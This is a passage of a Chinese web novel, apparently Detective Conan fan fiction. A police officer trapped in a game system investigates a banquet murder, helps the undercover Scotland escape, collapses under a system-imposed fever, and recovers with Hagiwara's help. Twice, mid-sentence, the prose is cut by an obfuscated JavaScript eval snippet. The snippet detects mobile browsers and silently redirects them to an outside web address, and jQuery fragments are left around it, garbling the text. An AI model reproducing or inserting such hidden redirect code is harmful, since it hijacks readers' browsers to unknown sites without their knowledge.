既然据萩原研二所说,飞鸟长官十年前喜欢咖啡而非茶,并且对咖啡豆要求很高,正好可以借着这次汇报的机会用兄长送的咖啡豆试探一下。 过了好一会儿飞鸟长官才再度抬眸看过来,仔细看时才能看出他眉间隐隐浮现的皱痕,看起来不甚在意地随手把咖啡豆放在一旁。 飞鸟长官说:“喝得惯,你有心了。” 飞鸟长官没解释怎么还没喝就知道自己喝得惯,不过已经得到了想要的答案,一之羽巡也不过多追问,起身准备离开。 临出门前,飞鸟长官突然叫住他:“一之羽君,你的兄长是生物学家吧?” 脑海中闪过一张温润的面容,一之羽巡转头笑道:“没错,不过有时候我倒觉得他更像个植物学家。” 这位设定上的兄长一之羽青词平生没有其他爱好,每天两眼一整就是种种种,不是农民胜似农民。一之羽巡至今仍旧坚信一定还有什么隐藏任务在一之羽青词身上,否则策划没必要多此一举地设定出这么一位哥哥,就好像否则就没必要设定这样一位履历异常精彩的顶头上司。 他心念忽的一动,松开门把手,借着这个话题问下去:“您养过绿植吗?” “怎么突然提起这个?” “我兄长曾经对我说,一个人培育出的盆栽也足以彰显出一个人的个性,掌控一切还是放任自由生长,粗心还是严谨……” 一之羽巡说:“感觉您会是每天都好好检查枝叶,定时定量给盆栽浇水的类型呢,很适合养绿植。” 飞鸟长官笑容纹丝未动,慢悠悠地喝了口茶,没有回答。 没得到答案,一之羽巡也不在意,真三言两语试探出了红方首领的底细他才要怀疑结论的真伪。 他礼貌点头:“下周见,飞鸟长官。” …… “一之羽,你回来了。” 回到办公室,刚刚忙完暂且获得一丝喘息的功夫的忍足警官正瘫在工位里思考人生,主动抬手打了声招呼,又像突然想起什么似的,起身从一堆文件和卷宗里翻出一张金光闪闪的卡片。 “那什么邀请函,堵到门口了。” 一之羽巡坐下:“什么活动?” “还能是什么,纸醉金迷的商业晚宴啊……这次是藤原财团送的,藤原静承那个藤原。” 职业习惯,忍足警官对着光检查起这封邀请函,嘴里念念有词:“果然是瞎子都看得出你前途无量,谁都想先下手为强,奈何你宁折不弯,从来都不……” “在哪家酒店?” “安虹,就是那个外面看奇形怪状,说是知名建筑家设计的那个,建成的时候我们还讨论过,出了事不方便疏散,但挺适合封锁现场的,构造也太艺术性……” 忍足警官说着说着停顿了一下,摆摆手:“哈哈哈哈我刚听错了,差点以为你要去呢,吓我一跳。” 一之羽巡把忍足警官手里的邀请函拿过来,记下时间地点,“前辈,你还没到需要怀疑自己听力的年龄吧。” “哈?!!” 电光火石间,忍足警官突然明白了什么,一脸我懂了的表情:“藤原小姐可是一位美人,啧啧啧,你小子……” “你想哪儿去了。”一之羽巡晃了晃指尖夹着的邀请函,“闲着也是闲着,就当去吃自助餐了。” 他看着邀请函上【藤原财团】的标识,单手托着下巴,又重复了一遍:“闲着也是闲着。” …… 藤原家族,一个过分全面的家族,商警政三界全开花,相辅相成,扎根串连,难以撼动。 不久前他接手了一个牵扯到藤原家的案子,没能调查到最后,被警备企划课中途截胡。 这是他进入游戏以来第一个经手过却没亲手揭开谜底的案子,本以为警备企划课拿了他的资料会加速结案,半个月过去,竟然就这么不了了之了,再无后续。 藤原家是个大家族,大到家族内部也有一些明争暗斗和各系分支,这次送来邀请函的是他以前从未接触过的一支。 不过按照早前的调查,不出意外,那个目标角色也会参加这场宴会。 上一次进这种场合是去年的事情,为了执行公安的秘密任务,当时还被忍足警官怨念吐槽了半个月,凭什么他们要假扮侍应生和保安,他却能装成宾客入场。 洗手间里只有一个人,一之羽巡对着镜子整理衣襟,太久不这么穿,总觉得不太舒服,如果出现个突发状况,这种衣服不方便做大动作,华而不实。 镜子里的黑发青年面露无奈。 真是在警察厅待久了,都快被洗脑了,下意识就往假如出了问题的角度想,哪来的那么多突发状况? ——直到会场的灯毫无征兆熄灭的那一刻,一之羽巡一直是这样认为的。 一片漆黑中,一个幽灵般的影子突兀一晃而过。 一之羽巡皱眉,正要突破人群追上去,一旁因为突如其来的黑暗而抱住他胳膊的人让他失去了这一瞬先机,再想追寻时那个黑影已经悄无声息融入人群,仿佛水滴落入大海,不留丁点儿痕迹。 几秒后,随着抱怨声和安抚声,会场的供电系统在工作人员的抢修下恢复,灯光重新亮起。 刚刚正和他握手寒暄的藤原小姐不好意思地松开手:“抱歉,下意识就……” 一之羽巡敷衍地回了一句,目光还在追寻那个黑影消失的方向,下一秒,他神情凝滞,尖锐的尖叫声跟他厉声的“退开”一并响起,仿佛连头顶华丽的水晶吊灯也跟着震动起来。 一个男人倒在血泊里,已经毫无声息。 心脏中刀,一击毙命,凶手的手法纯熟,要么是演练了无数次,要么就是买凶杀人,是个请来的专业人士。 血泊中似乎掉了什么东西,像是一块肉,一之羽巡微微皱眉,定睛一看,那竟然是被割掉的舌头。 ……怪不得嘴里那么多血。虽然心脏中刀吐血是正常现象,但的确未免多的有些反常了。 看清了那块肉的不止一之羽巡一人,这场晚宴的主人在血色的浪涛中几乎被掀翻,死死抓着旁边那人的胳膊才勉强稳住身体,指甲几乎嵌到肉里,一脸惊恐:“他他他他,叔叔他,他的舌——” “藤原小姐!”一双手突然挡在她眼前,隔绝了她与那双死不瞑目满眼恐惧的眼睛的对视,掌心没有碰到她分毫。 她缓慢地回过神,那位据说很 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照他之前进行的调查,藤原浩二跟黑/道关联很深,这些年犯下的事也不小,像小山一样堆在一起,可偏偏警备企划课半个多月了还是一点儿动静都没有。 一之羽巡一把拉开窗,窗外风声大作,他眯着眼,探出头向上方看去。 刚刚会场里的一切在脑海中化为数据重现,他的站位,死者的站位,凶手的站位,这栋楼的构造,撤离能够使用的路线……凶手一定还没能离开,正藏在暗处观察注视着一切。 凶手很专业,一刀取人性命,一刀割掉舌头震慑人心,下手干脆利落,离开时也不拖泥带水。 杀手和雇佣兵,一群亡命之徒,他们行走在社会的阴影中,极其偶尔才能看到尖刀边缘的反光,与被害人的社会关系为零,甚至是社会关系为零查无此人,如果未能现场逮捕,事后采用常规的刑侦手段大多很难抓住他们。 会场这边,搜查一课的目暮警官一脸严肃:“宾客名单拿到了吗?” “两人临时有事没有出席,三人提前离场并且已经确认案发时有不在场证明,除此之外都还在现场。” “工作人员呢?侍应生,保安,保洁,后厨。” “人数齐全,互相都能指认,没有任何异常。” 搜查一课的小刑警汇报完,只觉得头秃,又说:“已经有宾客开始有异议了,有说自己的时间很宝贵我们赔不起的,有说凭什么让他们跟杀人犯待在一起的,还有要这里指挥权最高的人亲自去见他的……” “目暮警官,上面有人打电话来说,半个小时内必须放人,他们真的是……!” 搜查一课的进退维谷不在一之羽巡的管辖范畴,他只需要警方能够正式接管这里封锁现场就够了,他轻巧地跳到露台,如他所料,这有近期留下的攀爬痕迹。 天台早就搜查过,一无所获,不过以他对这个酒店构造的猜想,中间大概率还有个装修时工人们使用的隐藏悬空平台,直接从楼梯上去到不了,得从外面爬上去。 他身体紧贴墙壁维持平衡,握紧手枪—— 没猜错的话,凶手这会儿还在等待接应脱身。 这不是一个复杂的案子,与其说是侦破,不如说是重点在于思考一个专业的杀手会如何做。 他不会把自己藏在人群中,因为他没有一定社会地位,也没有社交网络,很容易被人识破,那群利益至上的商人能轻松辨认出你是否属于我们这个阶层你来自哪个家族哪个企业甚至是你有几分家底,杀手没有那么多时间也必要花那么多时间去构建社会背景。 杀人,藏身,不需要任何善后,只需要让雇主知道想杀的人已经死了就足够了,有时候对这行的人来说,不是悄无声息反而更好,顺势打出名气才能吸引更多生意。 比起搜查一课,这更适合报给偶尔不讲理的公安解决。 一之羽巡缓缓吐出一口气,小心起身,无论他有没有猜错,现在都不能惊动任何人,以防打草惊蛇。 一双手猝不及防从背后伸出,把他拉入黑暗。一手按住他的腰身钳制住他的动作,另一只手则死死捂住他的口鼻,无法发出任何声音。 “——?!” 一之羽巡瞳孔一缩,立刻抬起手肘狠狠击向黑影的腹部,随着吃痛的抽气声,所有本能做出的反击和接下来无数一招制敌的方案在听到熟悉的嗓音的瞬间顷刻瓦解。 身后的人没松手,凑近他的耳畔,声音压得极低几乎只剩下气音,在夜间的气温下,倒更像刻意在他耳后呼了口热气。 “……是我。” 10.010 ——身为公安警察的你,在进行一起命案调查时,撞到了半个小时前还在简讯中跟你互诉爱意的恋人,你会怎么做? 诸伏景光看着与自己拉开距离正皱眉沉吟的人,没有出声打扰。 他自己现在也急需安静思考一下。 今晚的任务一切顺利,唯一的变数是,撤离时,途中暂且藏身的建筑物突然被全面封锁。他制服了似乎是导致了这场封锁出现的角色,然而接下来如何脱身还是难题,正思量应对之策,另一人的出现彻底将他的原计划打乱。 他没想到会在这种场合以这种身份和一之羽巡见面。虽然一直以苏格兰称呼,但一之羽巡并不知晓这个代号究竟还有什么深意,也并不清楚组织的存在。 他和楼下的那场混乱并无关联,但他无法解释自己为什么会藏身于此不敢现身。 三分钟后,一之羽巡终于动了。 诸伏景光看着那人平静迈过躺在地上陷入昏迷的真凶朝自己走来,边走边摘下了不久前自己送给他的眼镜。 那副眼镜是他在擅长伪装的好友的建议下亲手挑选的,能最大限度中和那个天生面容淡漠的青年眉眼间的距离感。 他眉头微拧,隐秘地活动一下手腕。 最棘手的局面出现了。比起虚假的恋人,年轻的警界之星当然更在意摆在眼前的事实和正义与否。 ……那就只能说声抱歉了。时间紧迫,事后再想个理由搪塞过去,在这里被逮捕可不在他计划之内。 一副眼镜突然被怼到眼前,诸伏景光本该躲开,却被这半个月来养成的一之羽巡是我的恋人我们接触是正常的思维控制,只稍微低了下头。 对方给他戴上眼镜,顺势摸向他的头顶,三两下把他的头发揉乱,似乎并非毫无章法,做完这一切,又拍了一下他的背。 “弯点儿腰,看起来不要比我高。” 诸伏景光诧异:“你……” “不用说了。” 一之羽巡打断,率先转身,提起躺在地上还昏迷着的嫌疑人,语气平静:“跟在我身后装哑巴,我带你出去,这里没人会拦我。” …… “苏格兰出来了。” “接应苏格兰的人是谁?他怎么混进去的?” 高楼上,两个组织成员从瞄准镜中冷眼小巷中的画面。 “组织里没这号人吧,不过总觉得有点眼熟,好像在哪儿见过。” 过了一会儿,他恍然大悟:“报纸上看过,是个警察。” “——警察?!” “喂喂,等一下,还不清楚状况,你就这么动手了,回头跟苏格兰那边可说不清……” 短发女人嗤了一声,不顾搭档的劝阻瞄准那个生面孔的脑袋,正要扣动扳机,瞄准镜中的画面却猝不及防变成了一双淬着寒冰的蓝眸。 她手指一僵,明明只差一厘,用了无数次的狙击枪,此刻却怎么都按不下去。 她比任何人都清楚这种距离下根本不可能真的对上视线,可还是无端生出了自己被盯上了的错觉,比起震慑更先升起的是对自己停顿那瞬的恼怒,嘲讽:“跟警察混在一起,让琴酒知道了有他好看的。” “我劝你最好别做多余的事,苏格兰最近对那个警察还挺上心的。” 本次任务的第四位成员单手插兜淡定路过,另一手快速打着字,语气漫不经心:“虽说苏格兰平常不怎么跟别人起冲突,可是要是有人觉得他没脾气,逞一时之快把他惹毛了,最后一不小心收不了场,那可就很难看了。” 波本笑吟吟道:“你说对吧,基安蒂?” 那家伙说着劝阻的话,可语气怎么听都像是巴不得把事闹大了,怎么听怎么欠揍,只盼着多一事不如少一事的科恩说:“波本,你也少说两句吧。” 波本无视科恩的话,又添了把火:“要不要找我买份情报?那个警察可不是一般的警察,看在认识的份上,可以只收你一万美元。” 波本脸上的完美笑容耀眼到刺目,至少真的刺到了一点就炸的基安蒂,基安蒂的枪口偏转,皮笑肉不笑道:“换成一颗子弹够不够?” “……看在是同事的份上,给你打个折,一万日元。” “再磨磨唧唧不说,打折的就是你的脖子了!” 波本表情一言难尽,转头问科恩:“她一直都这样?你怎么忍得了跟这种个性的人搭档那么久的?” “你能不能少说几句!”见基安蒂真要炸了,科恩紧急避险:“苏格兰跟那个警察到底是怎么回事?” 波本耸耸肩,不再卖关子,声情并茂地讲了一段爱情故事。 “苏格兰之前因为一个任务伪装成酒吧的乐手,被那个小警察碰上了,随口编了一套凄凄惨惨的身世,八成是正义感爆棚再加上一些微妙的救风尘心理,那个小警察对苏格兰很关照,又接触了一段时间,一来二去的他们就搞在一起了。” “至于那个小警察,说是那么说,不过他可不是个普通的警察那么简单……” 波本眯了眯眼,“那家伙可是号称什么警界明日之星,虽然资历尚浅,但已经被列入下一任警视总监的备选名单,要是组织暗中推一把,能爬上更高的位子也说不定,苏格兰觉得这人以后可能用得上,干脆就陪着玩玩。” 基安蒂想起在瞄准镜里看到的画面,狙击手对事物最基础的外形总是很敏锐,轮廓、五官、身形,她舔了下嘴唇:“这种质量,玩一段时间倒也不亏。” 任务正式结束,八卦时间也告终,基安蒂收起狙击枪,招呼搭档:“走了,科恩。” 迟迟没听到回应,她不耐烦地“啧”了一声,“喂,你在发什么呆——” 直到发觉搭档一脸沉重,她话音一顿,皱眉问:“怎么了?有什么问题吗?” 波本握着手机的手指略微收紧:“哦?科恩,你还有什么见解吗?” 过了好一会儿,科恩才慢吞吞开口:“苏格兰私底下一直是男女不忌的吗?以后做任务我要离他远点儿……” “………………” 波本:“我觉得你并没有这个顾虑。” 基安蒂:“傻叉,你想什么美事呢?” …… 小巷中,诸伏景光摘下眼镜,欲言又止,目光触及对方格外冷淡的神色,还是主动开了口:“这样没关系吗?要是别人问起我的身份的话……” 那人口吻淡然:“我会善后,不会有人查到你头上。” “……我不是那个意思。” “搜查一课被我提前支走了,至于那些宾客,本质上都是商人,没人会在意你是谁。” 一之羽巡靠在墙上,双手抱肘,礼服已经脏了,但依旧看起来跟这个狭小的巷子看起来格格不入。 他口吻理所当然:“在这个彻头彻尾的名利场里,我是最值得被投资的角色,你跟在我身边,没人会浪费时间来深究你是谁来自哪个部门又有什么履历,把时间和精力花在我身上才能做到利益最大化。” 摘下用于伪装的眼镜,戴上客套虚伪的假面,罕见地在名利场里气场全开将野心堂而皇之裸露出来的警界明日之星,无论是哪个同行在他身边都会黯然失色,瞬间沦为陪衬。 那一瞬的傲慢和睥睨发那个仿若错觉,诸伏景光眨了下眼,一之羽巡的神情分明与过去一无二致。 “总之,快走吧。” 诸伏景光点头,又觉得缺了点什么,憋了半晌,他问:“你没有其他想问我的了吗?” 那位警界明日之星抬手松了松两颗扣子,动作有些粗暴,他大约并不喜欢穿这种过分修身的礼服,即使他穿起来相得益彰。 “既然你开口了,那我就不客气了。” 一之羽巡侧头,伸出手:“抱一下?” “面都见了,不练习一下说不过去。” 诸伏景光做好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408497|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方会刨根问底的准备,也想好了如何回答,这种反应反而让他有些不知所措。 某种意义上来说,这很好,至少代表着对方仍旧记得他们之间的恋爱任务,没有脱离人设。 他们同上一次分别时一样相拥,将那个身影按在怀中的那一刻,鬼使神差,诸伏景光想起了在黑暗中为了钳制住一之羽巡的才发生的那个拥抱。 他的肋骨忽然开始隐隐作痛。 没直接开打,但以他这几年在组织里攒出的经验,一之羽巡的战斗力不可小觑。 “今晚谢……” 他的道谢被对方堵了回去,语气有些冷淡:“……别因为这种事谢我。” 两人一齐沉默下来。 “再见?” “嗯。” 苏格兰离开了。 孑然一身,没加好感度。 一之羽巡把领带扯下来塞进口袋,在心中分析,这很正常。 一个会徇私的公安警察,折损了原有的正义感,以苏格兰点严格,不会是因为自己是既得利者就生出感激的类型,没有对此感到失望给他扣几分已经很不错了。 但他总不能真把苏格兰抓了。 那个背影已经彻底隐入黑暗,一之羽巡松了口气,身体内部骤然迸发无力席卷全身,分秒之间便剥夺了对四肢的控制权。 一之羽巡扶着墙,逐渐下滑,脱力半跪在地上。 眼前已经看不清晰,视网膜被接连不断跳出的半透明红框占领。 【游戏小助手3.0:警告,亲爱的红方玩家,您违背了红方行为规范。】 【游戏小助手3.0:警告,亲爱的红方玩家,您违背了红方行为规范。】 【游戏小助手3.0:警告,亲爱的红方玩家,您违背了红方行为规范。】 【游戏小助手3.0:警告,亲爱的红方玩家,您违背了红方行为规范。】 【游戏小助手3.0:警告,亲爱的红方玩家,您违背了红方行为规范。】 …… 【惩罚已发放:[高烧],佩戴时长:00:00/24:00】 一之羽巡骂了一声。 ……失策了。 苏格兰执行的竟然不是卧底搜查官的任务吗?! 他咬了咬舌尖保持清醒,尝到了血腥味,可惜收效甚微,只得靠在墙角,费力地在身上摸索手机。 虽然很不情愿,但他今晚得欠出去个人情了。 一阵毫不加掩饰的脚步声迫近,一之羽巡皱眉,电话还未拨通,一双鞋子出现在视野中,正困惑时,手中的手机猝不及防被一脚踢远,砸在墙角。 “你……!” 意识在升腾的体温中被燃烧殆尽,但他仍旧本能地开始判断:黑色,高帮,款式跟他在当年在警校进行越野训练时常穿的作战靴很像,鞋底没有泥,结合附近路况,应该是开车或坐车来的。 ……是谁? 一之羽巡勉强抬起头,看到了散落在半空中的仿佛闪着光的银色发丝。 他分不清那是因为模糊的视线产生的重影还是银色发丝在皎洁的月光下的反射。 那人一袭黑色风衣,单手抽着烟,静静地凝视他,看的仿佛不是个人,而是拍卖会上等待评估竞价的商品,他已经极力去看那张脸,然而在还未适应惩罚的这几分钟里根本无法看清五官,更何况是表情,只有清晰的下颌线隐约透露出主人的锋芒毕露。 冰冷的目光不断在身上游走,不知过了多久,头顶传来一声嗤笑,语气嘲弄:“你就是一之羽巡?啧……” 彻底陷入黑暗前,一之羽巡看到了覆盖住高烧惩罚倒计时的好感度变化提醒。 【**(***):-37】 【**(***):-87/100】 烟雾缭绕,烟灰飘落,随着被乌云笼罩的月光归于沉寂。 “不过如此。” 11.011 “嘶……” 仿佛从脑髓发出的刺痛和晕眩随着意识逐步恢复一并达到巅峰,眼皮仿佛被胶水粘住了,尝试了几次都无法睁眼,身旁隐约能听到嘈杂的人声,也可能只是耳鸣,一之羽巡本能抬手想按一按突突跳动的太阳穴,还未抬到一半,手腕被强行按了下去。 他皱了下眉,这一次终于听清了,有人说了一句:“不要乱动啊……” ……这个声音,好像在哪儿听过。 又过了几分钟,也可能只有几秒钟,在黑暗中时间的流速总是不甚清晰,尖锐的头痛略微褪去,思维跟着回笼,睁眼前的瞬间,一之羽巡恍然大悟。 “……是萩原吗?” 病床旁按住某个病号还在挂水的手的萩原研二松了口气:“你终于醒了!” 一之羽巡本能地开始捕捉周围的一切信息:纯白的墙壁,蓝白条纹的病号服,刺鼻的消毒水味,但视野中的一切很快便被一双紫色的充斥着担忧的眼睛占满。 “我在医院?”一之羽巡刚想坐起身,被一把按了回去,萩原研二甚至一本正经地为他掖了掖被角。 一之羽巡被这种如临大敌的模样震撼到了:“太夸张了,萩原,我没事的。” “没事……?!” 萩原研二音量无意识拔高:“你是指高烧晕厥倒在路边直到被人发现才送到医院里抢救的那种没事吗?——那还真是好得很呢!” 一之羽巡心虚地放弃了再次坐起来的念头,他没办法跟NPC解释他明天就会完全康复并且没有任何后遗症这种概念。 昨晚苏格兰离开后,他被系统的惩罚打了个措手不及。 【这个世界上对好人的判定标准往往更加苛刻,坏人做了一件好事或许会暂且迎来鲜花掌声,但好人只要犯一次错,就有可能失去曾经享有的一切赞誉美名——红方行为规范第一条:禁止以任何形式协助黑方】 所以苏格兰昨晚执行其实并不是他猜测的公安的任务,反而大概率是他执行潜伏任务的犯罪团伙的任务。 一抹突兀的银色在脑海中一闪而过。 昨晚出现的意料之外的人可不止苏格兰一个。 一之羽巡喃喃:“不过如此……” 面色刚缓和的萩原研二:? “你说什么?”萩原研二唰的一下站起来:“不过如此?” 一之羽巡被萩原研二的反应吓了一跳,堪堪从记忆中回过神,连忙解释:“等等,我不是那个意思……” 萩原研二鲜少冷脸,更何况对方还是一之羽巡,他的个头有一米九几,刚要开口,又觉得这样居高临下地看一个如此骄傲的人怕不是会起反效果,干脆单膝跪在病床旁,跟某个毫无自觉性可言的病号平视。 “一之羽,偶尔也休息一下吧。” 一之羽巡有些惭愧:“抱歉,让你担心了。” 萩原研二不知道发生了什么,只看到了他高烧晕厥的结果,是出于关心才会出现在医院,那无论怎么解释什么都是辜负那份对朋友的真心。 不过一向圆滑的萩原研二竟然也会作出这种反应,哑口无言的同时一之羽巡又感到些许新奇,趁着萩原研二检查吊瓶的间隙,光明正大地盯着那张脸看了一会儿。 萩原研二感觉耳廓有些发热,那束目光直白清亮,反倒显得是他不够自然,所幸头发足够长,无论耳朵红没红都能挡个八九分。他掩饰性地拉过病床旁的椅子坐下,没好气道:“笑什么?” “就是突然想到,你和松田不愧是一起长大的。” 萩原研二疑惑:“……嗯?” 一之羽巡笑而不语,没再说下去。 萩原研二和松田阵平个性迥异,但他觉得那两人的底色完全一致,不经意间就会在一个人身上看到另一个人的影子,那是因为他们常年形影不离互相影响的结果还是从一开始就灵魂契合才逐渐不分彼此已经无从考证。 萩原研二和松田阵平的关系好到人尽皆知,但他知道,那两位排爆警察的设定不止是常规一起长大的幼驯染那么简单。 好感度系统触发后,除了小数点哥这个特例以外,他从来没有刻意刷过任何人的好感度,不过即使没准备刷他也清楚,萩原研二和松田阵平是无法彻底攻略的角色,再高的好感度也抵不过他们之间仿佛半身般的绝对信任。 说到底,松田阵平对他的好感度不算低,但里面起码有60分源自于他当年间接救了萩原研二一命。 这两个人各有所长,抛开个性来说都十分好用,放在一起时还会触发意外效果,与其说拿下了其中一个就算两个都搞定了,不如说是只有一次性把两个人都搞定才不至于亏得血本无归。 一之羽巡转移话题:“是过路人帮我叫了救护车吗?那里可不太好找……你是怎么知道我住院了的?” “差不多吧。”萩原研二含糊其辞:“先别管那个了,警官,让你的脑子好好休息一下吧,你再不休息你的脑子要申请劳动仲裁了。” 一之羽巡配合地闭上眼,还是在思索。 昨晚那个银色长发的男人是谁?对他的好感度能到+80的都不多,一出场就-87,不敢想到底是有什么深仇大恨才能这么讨厌他。 难道是有什么隐藏设定?比如电影里演的那样,警察抓了犯人,犯人的亲人爱人之类的对警察怀恨在心? 听着很离谱,但如果是这个游戏的狗策划,很遗憾,竟然不是完全没有可能。 一之羽巡安静躺着,萩原研二轻手轻脚地出去了,没过一会儿带着医生回来,测了体温、问了几个问题后,萩原研二像家属一样忧心忡忡地跟着医生出去,隐约能听到没关严的门缝传来的交谈声。 一之羽巡坐起身,拿起床头柜上的手机。 他当时本来也是准备打给萩原研二的,不过还没打通手机就被踢出去了,没来得及解释状况,没过几秒他就彻底失去意识,那通电话八成是被当成打错了。 看刚刚萩原研二和医生交谈时熟稔的模样,应该早就认识,没崩人设,萩原研二的人脉资源果然无法估量。不过既然认识,估计就是医生把这件事告诉了萩原研二,萩原研二才会来医院看他。 一之羽巡熟练输入密码解锁,动作一顿。 【未接来电】 【萩原研二(39)】 “……?” 一之羽巡大为震撼。连对他这个普通朋友都这么上心,那在松田阵平那边得是什么样,怪不得萩原研二能有这么夸张的好人缘。 萩原研二回到病房才发现一之羽巡已经坐起来了,他有些无奈,有种果然如此的感觉,稍微不盯着就开始胡来,但那人这样也不是一天两天了。 “医生说你恢复得很不错,再观察一下,没什么事的话今晚就可以回家了。” 一之羽巡确实想出院了,省去了偷溜出去的麻烦,松了口气:“那太好了。” 萩原研二看出那人的心思,叹息着坐下。昨晚本来已经没有病床了,幸好他和那位医生认识,这才勉强多安排出来一个床位,以这人的性子,确实没什么问题了的话,能早点回去也好。 他问:“吃水果吗?” 一之羽巡:“可以啊,我给你削个苹果?” 萩原研二:“……你要不要有一点身为病号的自觉性。” “哦,对。”一之羽巡面不改色改口:“那我削个苹果,我们一人一半?” “随你吧。”萩原研二败下阵来,彻底放弃让一之羽巡认识到自己现在是个病号。 一之羽巡的手很稳,萩原研二很早之前就知道这件事,适合瞄准,适合拆弹,他知道一之羽巡还会拉小提琴,这样灵巧的一双手,削个苹果自然也不在话下。 病房内静悄悄的,两人都专注地盯着逐渐裸露出果肉的苹果,随着红色的果皮圈圈褪去,萩原研二看着那双手,视线飘忽起来。 当初一之羽巡被爆/炸/物处理班的培训拒之门外,他私下偷偷教了一之羽巡拆弹,那是他们关系拉近的契机,也是边界感最被模糊的阶段,指导和演示时总要凑近一些才看得更清,于是自那以后,肢体互动增加,日常相处中的勾肩搭背开始变得习以为常。 萩原研二分神想,他出去跟医生说话时一之羽巡一定没好好按住止血棉,打针时留下的针孔周围已经泛青,按照经验第二天就会变得青紫,而那人本就偏白,看起来只会更加触目惊心。 ……那种触目惊心,让他没由来的想起了昨夜那通没有声音的电话。 电话打过来但是没声音,松田阵平觉得那可能只是一之羽巡的恶作剧或者手机在口袋里不小心按出去了没察觉,但他总有种不详的预感,连续回拨也没能打通,最后辗转从搜查一课那边得到消息,说是一之羽巡当晚帮搜查一课抓到了嫌疑人,之后就悄悄离开了,那会儿看着没有任何异常,班长还给他讲述了一之羽巡当时反应有多果决迅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426949|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速真是名不虚传,可他心里还是隐隐不安。 最终他要来了搜查一课当晚出警的地址,凌晨时分,在一段僻静的小巷里发现了高烧到休克的一之羽巡。 那条小路的确可以通往一之羽巡住的公寓,但那种地方没有监控也基本没人会经过,他不敢想象要是一直没人发现会演变成什么后果。 还好那人没事,连医生都忍不住跟他感叹了好几遍,不愧是常年保持锻炼的身体,竟然能恢复得这么快。 萩原研二不想再去回忆那段忐忑焦灼的记忆,随手拿过果篮里的苹果,在手中无意义地来回翻看:“那个……一之羽,你住院了,你的恋人不来看你吗?” 没想到话题会突然跑到那上面,一之羽巡手一顿,削下来的完整的果皮猝然断开。他淡定地把掉下来的果皮丢进垃圾桶,“来做什么?又不是什么大——” 他的声音在触及萩原研二逐渐凝结起来的目光中变低,识时务地改口:“我不是晚上就出院了吗,不折腾了。” “看来你喜欢的人跟你一样,也是个大忙人。” 一之羽巡没说是也没说不是,转移话题:“以后有机会介绍你们认识。” 萩原研二还没回答,一之羽巡就在心里接了一句:没机会了,不可能给这个机会。 现在基本可以确定苏格兰目前明面上的身份是个犯罪分子,他们两个私下见面的时候苏格兰都带着拘谨,要经过一定引导才能进入恋爱状态,要是再多带个警察在旁边,不敢想象苏格兰届时会怎么如坐针毡。 况且还有半个月他们就要分手了。 萩原研二接过削好皮的苹果,答应下来:“好啊,我也很想见见你喜欢的人。” 一之羽巡调侃:“我想见就算了,你怎么也想见啊。” “……”萩原研二咬了一口苹果,垂眸缓缓咀嚼着果肉,半晌,他抬起头,笑容看起来与平常一无二致:“谁让我们是好朋友呢?” 好朋友。 他们只是朋友而已。 他还是没懂,一之羽巡怎么会突然就交到了女朋友。 他以为他和一之羽巡已经是关系很亲近的朋友,除了那位兄长以外没见一之羽巡身边还有比他更要好的人,怎么会悄无声息就冒出来了一个恋人? 他几乎要怀疑那个迄今为止只存在于一之羽巡嘴里的没人见过的恋人是警察厅安排给一之羽巡的工作了,至少前两年一之羽巡真的说过“我的恋人是工作”那种话,不至于让他现在一点头绪都没有。 “……萩原?萩原?” 萩原研二骤然回过神:“嗯?” “我刚刚的话你有听到吗?我说,你今晚要不要来我家?” 萩原研二习惯性点头答应,下一秒,他猛地站起来:“……啊??” 一之羽巡顺手把不知道哪来的那个果篮塞到萩原研二手里:“还没要走呢,你再坐一会儿,我换个衣服。” 一之羽巡转身拉上窗帘,开始脱病号服,萩原研二下意识背过身。 “我刚刚走神了,怎么突然说到去你家了?” “你不是跟松田住在一起吗?”一之羽巡边换衣服边分析:“都这么晚了,你回去会把松田吵醒吧,而且虽说我们住的地方隔得不远,但你直接留下也能稍微多睡一会儿。” 一之羽巡系好扣子,理了理领口,问:“怎么样?有道理吧?” 萩原研二抱着自己买的果篮,慢吞吞回答:“好像是有点儿道理……” “OK,那就这么定了,你今晚在我家住,明天我们一起去上班。” 萩原研二:“……” 一之羽巡:“明早还可以顺便喊松田一起上班。” 萩原研二:“…………” 一之羽巡:“嗯,还有什么问题吗?” 萩原研二:“没有。” 一之羽巡感慨:“我们明明住得那么近,但是竟然从没来没一起上过班,真奇怪啊。” 是啊,真奇怪呢。 怎么会这么奇怪? 萩原研二咬牙腹诽:还不是因为有人前两年压根就不下班,根本不下班还怎么一起上下班?! 所有旖旎暧昧的想法随着【上班】这个字眼的出现瞬间烟消云散,萩原研二深吸一口气,忍了又忍,还是无法理解,上班上班上班,这人的脑子里真的只有上班是吗? 一之羽巡嘴里的那个恋人真的不是在指工作吗?! 12.012 这不是萩原研二第一次来一之羽巡的公寓,不过这是他第一次留宿。 一之羽巡的体温还没完全降下去,不过据医生所说已经没什么大碍,只要今晚不升温那就没事,一连感叹了好几次年轻人身体素质就是好恢复得真快。 萩原研二把果篮里的水果一一摆进冰箱,余光中看到一之羽巡活蹦乱跳的模样,想起前一晚的不省人事,割裂感太重,完全判若两人。 他有些走神,手里的苹果滑落,正要俯身去捞,一只手从一旁伸出来,不偏不倚地接住了那个苹果。 一之羽巡笑着说:“小心。” “……手滑了。” 